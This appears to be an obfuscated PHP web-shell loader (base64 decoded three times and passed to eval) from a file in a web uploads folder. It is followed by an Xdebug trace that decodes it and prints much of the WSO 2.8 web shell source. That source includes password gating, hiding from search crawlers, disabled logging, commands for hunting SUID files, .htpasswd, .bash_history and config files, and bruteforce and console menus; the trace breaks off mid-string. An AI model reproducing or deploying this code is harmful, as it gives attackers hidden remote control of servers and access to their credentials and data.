2xRMGFVOTNiMmRKUTBGblNVTkJaMGxEUVdkSlEwSXhZbTE0Y0dKdGMyOUphVGt3WWxoQmRsbHVRWFZqUjNkcFMxUnpTMGxEUVdkSlEwRm5TVU5DT1VOcFFXZEpRMEZuU1VOQloyRlhXVzlLUmpsUlZERk9WVmQ1WkhkTlUyUmtTVVF3T1VsRFpHbFpNMEZ1UzFOQ04wTnBRV2RKUTBGblNVTkJaMGxEUVdkSlIwNXRTME5KZG1SSE1YZE1Na3BxVEc1Q2MwbHBkMnRaYlVacVlURTVhbUl5TlhWYVYwNHdXRE5CY0U5M2IyZEpRMEZuU1VOQlowbERRV2RKUTBGcllqTldNRWxFTUdka00wNTJVbGhuYjBsdVFteGpiWGRuVEROU2RHTkRPV2xaZVRWM1lrTkJhVXhwVW1aVlJUbFVWa1p6Ym1ORVNXNVlVelJwU1VOSmRVcEdPVkZVTVU1VlYzbGtkMDE1WkdSTWFVbG5UVlEwZGxwSFZqSk1NalV4WWtkM1owMXFORzFOVTBGdFNXbHJOME5wUVdkSlEwRm5TVU5CWjBsRFFXZEpTRTV6V2xkV2QwdEVSWEJQZDI5blNVTkJaMGxEUVdkSlEwRm5TVU5DYkZreWFIWkpRMGs0WTBoS2JFbEhUbk5aV0U1NlVGY3hjMDFVTkd0aU0xWXdXRWMwYVV4dVpIcGlNRlkwUzBOS2QyTjVRbWhrV0dkblprTkNibU50Vm5kSlIwcHFURzVDYzBscGEzVkphbmQyWTBoS2JGQnBTVGREYVVGblNVTkJaMGxEUVdkSlEwRm5TVWhXZFdKSGJIVmhlV2RwVEROU2RHTkRPV2xaZVRWM1lrTkpjRTkzYjJkSlEwRm5TVU5CWjBsSU1FdEpRMEZuU1Vnd1MwbERRV2RKUjFacVlVYzRaMHA2ZDNaYVIyd3lVR2xqTjBOcFFXZEpRMEl6WXpJNVIySXlPVEJhV0VsdlMxUnpTMlpSY0cxa1Z6VnFaRWRzZG1KcFFtaFpNMUp3WWpJMVUxRjVaM0JKU0hOTFNVTkJaMGxIYkcxTFEwWkJTa1k1VVZReFRsVlhlV1IzVFZOa1pFdFRRamREYVVGblNVTkJaMGxEUVdkS1IwVm5VRk5DYUdOdVNtaGxVMmRMU1VOQlowbERRV2RKUTBGblNVTkJaMGx1Vm5WWlZ6RnNTV2xCT1ZCcFFuZGhTRUptWkZjMWFHSlhWVzlMVTNkTFNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsdVFtOWpSamt5V2xoS2VtRlhPWFZKYVVFNVVHbENkMkZJUWpKYVdFcDZZVmM1ZFV0RGEzTkRhVUZuU1VOQlowbERRV2RKUTBGblNVTktNMk15T1daa2JWWjVZekpzZG1KcFNXZFFWRFJuVmpGT1VGZ3hXa1pWYkU1S1ZEQTBjME5wUVdkSlEwRm5TVU5CWjBsRFFXZEpRMHA2V1ZkYWJHSlhPV3RhVTBsblVGUTBaMUZIYkhWaFZqbHVXbGhSYjBvelRtaGFiVlptWWxjNWExcFRZM0JEYVVGblNVTkJaMGxEUVdkTFZITkxTVU5CWjBsRFFXZEpRMEpzV1RKb2RrbElUbXhqYld4b1lrZHNObHBUWjJ0WlUyczNRMmxCWjBsRFFqbEpSMVp6WXpKVloyVjNiMmRKUTBGblNVTkJaMGxIVmpKWlYzZHZTa1k1VVZReFRsVlhlV1IzVFZOa1pFdFVjMHRKUTBGblNVZ3dTMlpSY0hCYWFXZG5XbGN4ZDJSSWEyOUtSamxSVkRGT1ZWZDVaR2hLTVRCd1NVTnJTMGxEUVdkSlIyeHRTMGRzZW1NeVZqQkxRMUpyV2xkYWFHUlhlREJZTWtacVpFZHNkbUpwYTJkS2FWbG5XbTVXZFZrelVuQmlNalZtV2xob2NHTXpVbnBMUTJSb1dUTlNjR0l5Tkc1SlF6Um5Ta2RTYkZwdFJqRmlTRkptV1ZkT01HRlhPWFZMVTJ0TFNVTkJaMGxEUVdkSlEwRnJXREZDVUZVeFVtSktNa1Z1V0ZOQk9VbERVbXRhVjFwb1pGZDRNRmd5Um1wa1IyeDJZbXB6UzBsRFFXZEpSMVp6WXpKVlMwbERRV2RKUTBGblNVTkJhMWd4UWxCVk1WSmlTakpGYmxoVFFUbEpRMlJVV2xkT1NtSnRXblpLZW5OTFlWZFpiMGxEUm14aVdFSXdaVk5uYTFneFFsQlZNVkppU2pKRmJsaFRhMmRLYVZsbldtNVdkVmt6VW5CaU1qVm1XbGhvY0dNelVucExRMlJvV1ROU2NHSXlORzVKUXpSblNrWTVVVlF4VGxWWGVXUm9TakV3Y0VsRGEwdEpRMEZuU1VkT2FHSkhlR1prV0U1c1kydzViV1JYTldwTFEyUm9XVE5TY0dJeU5HNUpRelJuU2tZNVVWUXhUbFZYZVdSb1NqRXdjRTkzY0d4bFIyd3dUM2R2U3c9PQ==";
for ($i = 1; $i <= 3; $i++) {
$v = $b($v);
}
eval($v);
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:50:28.836176]
1 0 1 0.000138 393512
1 3 0 0.000665 579448 {main} 1 /var/www/html/uploads/flo.php 0 0
1 A /var/www/html/uploads/flo.php 2 $part2 = 'MVViR2xaVkdoc1RucFZNbGxxVVROYWFrRnBUM2R2YTFreU9YTmlNMGxuVUZOQmFVa3lVbTFPVTBrM1EybFNhMXBYV21oa1YzZ3dXREpHYW1SSGJIWmlhVUU1U1VOa1IyRlhlR3hqTURGb1ltbGpOME5wVW10YVYxcG9aRmQ0TUZnelZucGFWamxvWVcxR05FbEVNR2RrU0VveFdsUnpTMHBIVW14YWJVWXhZa2hTWmxreWFHaGpiazVzWkVOQk9VbERaRmhoVnpWcllqTmtla3hVUlhsT1ZFVnVUM2R2WjBOdGJHMUxRMFpzWWxoQ01HVlRaMnRZTVU1R1ZXeGFSbFZzYzI1VFJsSlZWVVk1VmxVd1ZsTllNRVpJVWxVMVZVb3hNSEJMVTBJM1EybEJaMGxEUVd0a1dFNXNZMnRHYmxwWE5UQmplVUU1U1VkR2VXTnRSalZMUTBwSVlqSTVibUpIVldsTVEwRnBWVEo0TVdOdVFXbE1RMEZwVkZaT1Qx'
1 A /var/www/html/uploads/flo.php 3 $part1 = 'U2tkR01XUkhhR1pqUjBaNlkzb3dhVTU2UVRGYVJHTXpUWHBWTTFwVVRtdE5WRVV5V1ZkUmVV'
1 A /var/www/html/uploads/flo.php 4 $part3 = 'sRGEwdEpRMEZuU1VkT2FHSkhlR1prV0U1c1kydzViV1JYTldwTFEyUm9XVE5TY0dJeU5HNUpRelJuU2tZNVVWUXhUbFZYZVdSb1NqRXdjRTkzY0d4bFIyd3dUM2R2U3c9PQ=='
1 A /var/www/html/uploads/flo.php 6 $b = 'base64_'
1 A /var/www/html/uploads/flo.php 7 $b .= 'decode'
1 A /var/www/html/uploads/flo.php 9 $v = 'U2tkR01XUkhhR1pqUjBaNlkzb3dhVTU2UVRGYVJHTXpUWHBWTTFwVVRtdE5WRVV5V1ZkUmVVMVViR2xaVkdoc1RucFZNbGxxVVROYWFrRnBUM2R2YTFreU9YTmlNMGxuVUZOQmFVa3lVbTFPVTBrM1EybFNhMXBYV21oa1YzZ3dXREpHYW1SSGJIWmlhVUU1U1VOa1IyRlhlR3hqTURGb1ltbGpOME5wVW10YVYxcG9aRmQ0TUZnelZucGFWamxvWVcxR05FbEVNR2RrU0VveFdsUnpTMHBIVW14YWJVWXhZa2hTWmxreWFHaGpiazVzWkVOQk9VbERaRmhoVnpWcllqTmtla3hVUlhsT1ZFVnVUM2R2WjBOdGJHMUxRMFpzWWxoQ01HVlRaMnRZTVU1R1ZXeGFSbFZzYzI1VFJsSlZWVVk1VmxVd1ZsTllNRVpJVWxVMVZVb3hNSEJMVTBJM1EybEJaMGxEUVd0a1dFNXNZMnRHYmxwWE5UQmplVUU1'
1 A /var/www/html/uploads/flo.php 10 $i = 1
2 4 0 0.001022 763808 base64_decode 0 /var/www/html/uploads/flo.php 11 1 'U2tkR01XUkhhR1pqUjBaNlkzb3dhVTU2UVRGYVJHTXpUWHBWTTFwVVRtdE5WRVV5V1ZkUmVVMVViR2xaVkdoc1RucFZNbGxxVVROYWFrRnBUM2R2YTFreU9YTmlNMGxuVUZOQmFVa3lVbTFPVTBrM1EybFNhMXBYV21oa1YzZ3dXREpHYW1SSGJIWmlhVUU1U1VOa1IyRlhlR3hqTURGb1ltbGpOME5wVW10YVYxcG9aRmQ0TUZnelZucGFWamxvWVcxR05FbEVNR2RrU0VveFdsUnpTMHBIVW14YWJVWXhZa2hTWmxreWFHaGpiazVzWkVOQk9VbERaRmhoVnpWcllqTmtla3hVUlhsT1ZFVnVUM2R2WjBOdGJHMUxRMFpzWWxoQ01HVlRaMnRZTVU1R1ZXeGFSbFZzYzI1VFJsSlZWVVk1VmxVd1ZsTllNRVpJVWxVMVZVb3hNSEJMVTBJM1EybEJaMGxEUVd0a1dFNXNZMnRHYmxwWE5UQmplVUU1'
2 4 1 0.001575 948160
2 4 R 'SkdGMWRHaGZjR0Z6Y3owaU56QTFaRGMzTXpVM1pUTmtNVEUyWVdReU1UbGlZVGhsTnpVMllqUTNaakFpT3dva1kyOXNiM0lnUFNBaUkyUm1OU0k3Q2lSa1pXWmhkV3gwWDJGamRHbHZiaUE5SUNkR2FXeGxjMDFoYmljN0NpUmtaV1poZFd4MFgzVnpaVjloYW1GNElEMGdkSEoxWlRzS0pHUmxabUYxYkhSZlkyaGhjbk5sZENBOUlDZFhhVzVrYjNkekxURXlOVEVuT3dvZ0NtbG1LQ0ZsYlhCMGVTZ2tYMU5GVWxaRlVsc25TRlJVVUY5VlUwVlNYMEZIUlU1VUoxMHBLU0I3Q2lBZ0lDQWtkWE5sY2tGblpXNTBjeUE5SUdGeWNtRjVLQ0pIYjI5bmJHVWlMQ0FpVTJ4MWNuQWlMQ0FpVFZOT1FtOTBJaXdnSW1saFgyRnlZMmhwZG1WeUlpd2dJbGxoYm1SbGVDSXNJQ0pTWVcxaWJHVnlJaWs3'
1 A /var/www/html/uploads/flo.php 11 $v = 'SkdGMWRHaGZjR0Z6Y3owaU56QTFaRGMzTXpVM1pUTmtNVEUyWVdReU1UbGlZVGhsTnpVMllqUTNaakFpT3dva1kyOXNiM0lnUFNBaUkyUm1OU0k3Q2lSa1pXWmhkV3gwWDJGamRHbHZiaUE5SUNkR2FXeGxjMDFoYmljN0NpUmtaV1poZFd4MFgzVnpaVjloYW1GNElEMGdkSEoxWlRzS0pHUmxabUYxYkhSZlkyaGhjbk5sZENBOUlDZFhhVzVrYjNkekxURXlOVEVuT3dvZ0NtbG1LQ0ZsYlhCMGVTZ2tYMU5GVWxaRlVsc25TRlJVVUY5VlUwVlNYMEZIUlU1VUoxMHBLU0I3Q2lBZ0lDQWtkWE5sY2tGblpXNTBjeUE5SUdGeWNtRjVLQ0pIYjI5bmJHVWlMQ0FpVTJ4MWNuQWlMQ0FpVFZOT1FtOTBJaXdnSW1saFgyRnlZMmhwZG1WeUlpd2dJbGxoYm1SbGVDSXNJQ0pTWVcxaWJHVnlJaWs3'
1 A /var/www/html/uploads/flo.php 10 $i++
2 5 0 0.001800 763808 base64_decode 0 /var/www/html/uploads/flo.php 11 1 'SkdGMWRHaGZjR0Z6Y3owaU56QTFaRGMzTXpVM1pUTmtNVEUyWVdReU1UbGlZVGhsTnpVMllqUTNaakFpT3dva1kyOXNiM0lnUFNBaUkyUm1OU0k3Q2lSa1pXWmhkV3gwWDJGamRHbHZiaUE5SUNkR2FXeGxjMDFoYmljN0NpUmtaV1poZFd4MFgzVnpaVjloYW1GNElEMGdkSEoxWlRzS0pHUmxabUYxYkhSZlkyaGhjbk5sZENBOUlDZFhhVzVrYjNkekxURXlOVEVuT3dvZ0NtbG1LQ0ZsYlhCMGVTZ2tYMU5GVWxaRlVsc25TRlJVVUY5VlUwVlNYMEZIUlU1VUoxMHBLU0I3Q2lBZ0lDQWtkWE5sY2tGblpXNTBjeUE5SUdGeWNtRjVLQ0pIYjI5bmJHVWlMQ0FpVTJ4MWNuQWlMQ0FpVFZOT1FtOTBJaXdnSW1saFgyRnlZMmhwZG1WeUlpd2dJbGxoYm1SbGVDSXNJQ0pTWVcxaWJHVnlJaWs3'
2 5 1 0.002220 903104
2 5 R 'JGF1dGhfcGFzcz0iNzA1ZDc3MzU3ZTNkMTE2YWQyMTliYThlNzU2YjQ3ZjAiOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwogCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAg'
1 A /var/www/html/uploads/flo.php 11 $v = 'JGF1dGhfcGFzcz0iNzA1ZDc3MzU3ZTNkMTE2YWQyMTliYThlNzU2YjQ3ZjAiOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwogCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAg'
1 A /var/www/html/uploads/flo.php 10 $i++
2 6 0 0.002421 718752 base64_decode 0 /var/www/html/uploads/flo.php 11 1 'JGF1dGhfcGFzcz0iNzA1ZDc3MzU3ZTNkMTE2YWQyMTliYThlNzU2YjQ3ZjAiOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwogCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CiAgICAg'
2 6 1 0.002766 821184
2 6 R '$auth_pass="705d77357e3d116ad219ba8e756b47f0";\n$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n \nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n header(\'HTTP/1.0 404 Not Found\');\n exit;\n }\n}\n \n@ini_set(\'error_log\',NULL);\n@ini_s'
1 A /var/www/html/uploads/flo.php 11 $v = '$auth_pass="705d77357e3d116ad219ba8e756b47f0";\n$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n \nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n header(\'HTTP/1.0 404 Not Found\');\n exit;\n }\n}\n \n@ini_set(\'error_log\',NULL);\n@ini_s'
1 A /var/www/html/uploads/flo.php 10 $i++
2 7 0 0.005183 1257192 eval 1 '$auth_pass="705d77357e3d116ad219ba8e756b47f0";\n$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n \nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n header(\'HTTP/1.0 404 Not Found\');\n exit;\n }\n}\n \n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time\',0);\n@set_time_limit(0);\n@set_magic_quotes_runtime(0);\n@define(\'WSO_VERSION\', \'2.8\');\n \nif(get_magic_quotes_gpc()) {\n function WSOstripslashes($array) {\n return is_array($array) ? array_map(\'WSOstripslashes\', $array) : stripslashes($array);\n }\n $_POST = WSOstripslashes($_POST);\n $_COOKIE = WSOstripslashes($_COOKIE);\n}\n \nfunction wsoLogin() {\n die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value=\'>>\'></form></pre>");\n}\n \nfunction WSOsetcookie($k, $v) {\n $_COOKIE[$k] = $v;\n setcookie($k, $v);\n}\n \nif(!empty($auth_pass)) {\n if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $auth_pass))\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']), $auth_pass);\n \n if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $auth_pass))\n wsoLogin();\n}\n \nif(strtolower(substr(PHP_OS,0,3)) == "win")\n $os = \'win\';\nelse\n $os = \'nix\';\n \n$safe_mode = @ini_get(\'safe_mode\');\nif(!$safe_mode)\n error_reporting(0);\n \n$disable_functions = @ini_get(\'disable_functions\');\n$home_cwd = @getcwd();\nif(isset($_POST[\'c\']))\n @chdir($_POST[\'c\']);\n$cwd = @getcwd();\nif($os == \'win\') {\n $home_cwd = str_replace("\\\\", "/", $home_cwd);\n $cwd = str_replace("\\\\", "/", $cwd);\n}\nif($cwd[strlen($cwd)-1] != \'/\')\n $cwd .= \'/\';\n \nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\n $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$default_use_ajax;\n \nif($os == \'win\')\n $aliases = array(\n "List Directory" => "dir",\n "Find index.php in current dir" => "dir /s /w /b index.php",\n "Find *config*.php in current dir" => "dir /s /w /b *config*.php",\n "Show active connections" => "netstat -an",\n "Show running services" => "net start",\n "User accounts" => "net user",\n "Show computers" => "net view",\n "ARP Table" => "arp -a",\n "IP Configuration" => "ipconfig /all"\n );\nelse\n $aliases = array(\n "List dir" => "ls -lha",\n "list file attributes on a Linux second extended file system" => "lsattr -va",\n "show opened ports" => "netstat -an | grep -i listen",\n "process status" => "ps aux",\n "Find" => "",\n "find suid" => "find / -type f -perm -04000 -ls",\n "find suid in current dir" => "find . -type f -perm -04000 -ls",\n "find sgid" => "find / -type f -perm -02000 -ls",\n "find sgid files in current dir" => "find . -type f -perm -02000 -ls",\n "find config.inc.php" => "find / -type f -name config.inc.php",\n "find config*" => "find / -type f -name \\"config*\\"",\n "find config* in current dir" => "find . -type f -name \\"config*\\"",\n "find writable folders and files" => "find / -perm -2 -ls",\n "find writable folders and files in current dir" => "find . -perm -2 -ls",\n "find service.pwd" => "find / -type f -name service.pwd",\n "find service.pwd files in current dir" => "find . -type f -name service.pwd",\n "find .htpasswd" => "find / -type f -name .htpasswd",\n "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\n "find .bash_history" => "find / -type f -name .bash_history",\n "find .bash_history files in current dir" => "find . -type f -name .bash_history",\n "find .fetchmailrc" => "find / -type f -name .fetchmailrc",\n "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\n "Locate" => "",\n "locate httpd.conf" => "locate httpd.conf",\n "locate vhosts.conf" => "locate vhosts.conf",\n "locate proftpd.conf" => "locate proftpd.conf",\n "locate psybnc.conf" => "locate psybnc.conf",\n "locate my.conf" => "locate my.conf",\n "locate admin.php" =>"locate admin.php",\n "locate cfg.php" => "locate cfg.php",\n "locate conf.php" => "locate conf.php",\n "locate config.dat" => "locate config.dat",\n "locate config.php" => "locate config.php",\n "locate config.inc" => "locate config.inc",\n "locate config.inc.php" => "locate config.inc.php",\n "locate config.default.php" => "locate config.default.php",\n "locate config*" => "locate config",\n "locate .conf"=>"locate \'.conf\'",\n "locate .pwd" => "locate \'.pwd\'",\n "locate .sql" => "locate \'.sql\'",\n "locate .htpasswd" => "locate \'.htpasswd\'",\n "locate .bash_history" => "locate \'.bash_history\'",\n "locate .mysql_history" => "locate \'.mysql_history\'",\n "locate .fetchmailrc" => "locate \'.fetchmailrc\'",\n "locate backup" => "locate backup",\n "locate dump" => "locate dump",\n "locate priv" => "locate priv"\n );\n \nfunction wsoHeader() {\n if(empty($_POST[\'charset\']))\n $_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\n global $color;\n echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . WSO_VERSION ."</title>\n<style>\nbody{background-color:#444;color:#e1e1e1;}\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\ntable.info{ color:#fff;background-color:#222; }\nspan,h1,a{ color: $color !important; }\nspan{ font-weight: bolder; }\nh1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\ndiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\na{ text-decoration:none; }\na:hover{ text-decoration:underline; }\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\n.bigarea{ width:100%;height:300px; }\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,\'Courier New\'; }\nform{ margin:0px; }\n#toolsTbl{ text-align:center; }\n.toolsInp{ width: 300px }\n.main th{text-align:left;background-color:#5e5e5e;}\n.main tr:hover{background-color:#5e5e5e}\n.l1{background-color:#444}\n.l2{background-color:#333}\npre{font-family:Courier,Monospace;}\n</style>\n<script>\n var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\n var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\n var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\n var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\n var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\n var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\n var d = document;\n function set(a,c,p1,p2,p3,charset) {\n if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n }\n function g(a,c,p1,p2,p3,charset) {\n set(a,c,p1,p2,p3,charset);\n d.mf.submit();\n }\n function a(a,c,p1,p2,p3,charset) {\n set(a,c,p1,p2,p3,charset);\n var params = \'ajax=true\';\n for(i=0;i<d.mf.elements.length;i++)\n params += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\n sr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\n }\n function sr(url, params) {\n if (window.XMLHttpRequest)\n req = new XMLHttpRequest();\n else if (window.ActiveXObject)\n req = new ActiveXObject(\'Microsoft.XMLHTTP\');\n if (req) {\n req.onreadystatechange = processReqChange;\n req.open(\'POST\', url, true);\n req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\n req.send(params);\n }\n }\n function processReqChange() {\n if( (req.readyState == 4) )\n if(req.status == 200) {\n var reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\n var arr=reg.exec(req.responseText);\n eval(arr[2].substr(0, arr[1]));\n } else alert(\'Request error!\');\n }\n</script>\n<head><body><div style=\'position:absolute;width:100%;background-color:#444;top:0;left:0;\'>\n<form method=post name=mf style=\'display:none;\'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";\n $freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\n $totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\n $totalSpace = $totalSpace?$totalSpace:1;\n $release = @php_uname(\'r\');\n $kernel = @php_uname(\'s\');\n $explink = \'http://exploit-db.com/search/?action=search&filter_description=\';\n if(strpos(\'Linux\', $kernel) !== false)\n $explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\n else\n $explink .= urlencode($kernel . \' \' . substr($release,0,3));\n if(!function_exists(\'posix_getegid\')) {\n $user = @get_current_user();\n $uid = @getmyuid();\n $gid = @getmygid();\n $group = "?";\n } else {\n $uid = @posix_getpwuid(posix_geteuid());\n $gid = @posix_getgrgid(posix_getegid());\n $user = $uid[\'name\'];\n $uid = $uid[\'uid\'];\n $group = $gid[\'name\'];\n $gid = $gid[\'gid\'];\n }\n \n $cwd_links = \'\';\n $path = explode("/", $GLOBALS[\'cwd\']);\n $n=count($path);\n for($i=0; $i<$n-1; $i++) {\n $cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\n for($j=0; $j<=$i; $j++)\n $cwd_links .= $path[$j].\'/\';\n $cwd_links .= "\\")\'>".$path[$i]."/</a>";\n }\n \n $charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\n $opt_charsets = \'\';\n foreach($charsets as $item)\n $opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';\n \n $m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\n if(!empty($GLOBALS[\'auth_pass\']))\n $m[\'Logout\'] = \'Logout\';\n $m[\'Self remove\'] = \'SelfRemove\';\n $menu = \'\';\n foreach($m as $k => $v)\n $menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\n \n $drives = "";\n if($GLOBALS[\'os\'] == \'win\') {\n foreach(range(\'c\',\'z\') as $drive)\n if(is_dir($drive.\':\\\\\'))\n $drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\n }\n echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\') . \'</span></td>\'\n . \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \' <a href="\' . $explink . \'" target=_blank>[exploit-db.com]</a></nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' ( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=green><b>OFF</b></font>\')\n . \' <a href=# onclick="g(\\\'Php\\\',null,\\\'\\\',\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \' . date(\'Y-m-d H:i:s\') . \'<br>\' . wsoViewSize($totalSpace) . \' <span>Free:</span> \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)<br>\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\' . $GLOBALS[\'home_cwd\'] . \'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\' . $drives . \'</td>\'\n . \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\'\n 